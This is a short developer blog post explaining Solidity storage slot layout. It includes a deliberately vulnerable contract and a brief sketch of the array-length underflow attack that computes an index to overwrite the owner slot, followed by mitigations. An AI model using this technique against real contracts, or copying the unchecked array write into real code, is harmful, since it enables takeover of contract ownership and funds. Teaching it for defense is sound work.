Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

11 22
calendar_todayschedule2 min read
— Originally published at dly.to

Storage layout and array overflow/underflow risks!!!!

  • Solidity stores data in Each slot = 32 bytes (256 bits)
  • Each storage slot is numbered: slot 0, slot 1, slot 2 and so on.

Solidity tries to pack variables into these slots efficiently, but the actual layout depends on data type and declaration order.

Storage Layout Breakdown

  • Consider a simple contract with various variable and it's storage layout
contract StorageExample {
    bool public flag;                    // 1 byte
    uint256 public number;        // 32 bytes
    string public message;        // dynamic
    bytes32[] public data;        // dynamic array
}
  1. bool public flag
  • bool = 1 byte
  • Stored in slot 0 (remaining 31 bytes unused)
  • Solidity will check if next type can be packed in slot 0. If not new slot 1 will be allocated and fitted
  1. uint256 public number
  • uint256 = 32 bytes (can't be fit in slot 0)
  • Stored in slot 1 (entire slot used)
  1. string public message
  • string is a dynamic type. (entire slot 2 used)
  • Solidity stores only a pointer/reference (not the data) in the slot.
  • The actual string content is stored at keccak256(2)
"hello" → 5 bytes
Stored at hash(slot 2) = location A, value: "hello"
  1. bytes32[] public data
  • entire slot 3 used (data.length)
  • bytes32[] is a dynamic array
  • slot stores only The length of the array
// bytes32[] stored at slot 3
start of array -> uint256(keccak256(abi.encode(3)));

// Length in slot 3: 2
If data = [0x1, 0x2];

hash(slot 3) + 0 = 0x...A → 0x1
hash(slot 3) + 1 = 0x...B → 0x2

Possible risks or attacks due to storage layout manipulation

// We will underflow the array
contract WeirdStorage {
    address public owner;           // slot 0
    bytes32[] public data;         // slot 1 -> stores (data.length)

    function setData(uint256 index, bytes32 value) public {
        data[index] = value;
    }
}
// keccak256(1) + i = data[i];

This is how attackers can corrupt unrelated storage — like overwriting a bool variable or even an owner address stored in early slots.

  1. data.pop() -> data.length == 2^256-1

  2. find index that maps to slot 0 (where owner stored)

keccak256(1) + index = 0
index = -keccak256(1) mod 2^256
index = 2^256 - keccak256(1)

vulnerable.popData(); // underflow

// attacker address, cast to bytes32
bytes32 attackerAddress = bytes32(uint256(uint160(attacker)));

// overwrite slot 0 (owner) to attacker address
vulnerable.setData(index, attackerAddress);

Mitigation:

  1. Use Solidity ≥ 0.8.0
  2. Avoid exposing public write access to dynamic arrays
  3. Never allow .pop() or manual index writes from untrusted users
  4. Use SafeMath or OpenZeppelin's defensive wrappers for older versions

Case Studies

2 Comments

0 votes
0 votes
🔥 Join developers growing publicly
Share your knowledge, build in public, and grow your developer presence with a global community.

More Posts

MCP Is the USB-C of AI. So Why Are You Plugging Everything In?

Ken W. Algerverified - Jun 10

The Death of Smart Contract Audits: Why NexusVeritas Hunts Web3 Scammers via Behavioral DNA

VeritasLab - Jun 12

What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???

abiEncode - Jul 5, 2025

Ethereum Basics: From Wallets to Smart Contracts

ALLAN ROBINSON - Jul 9, 2025

Private variables are not really private on EVM

abiEncode - Jul 8, 2025
chevron_left
1.3k Points33 Badges
7Posts
5Comments
1Connections
Ethereum Developer and Security Researcher | Securing DeFi protocols and developing applications on EVM chain

Related Jobs

View all jobs →

Commenters (This Week)

4 comments
1 comment

Contribute meaningful comments to climb the leaderboard and earn badges!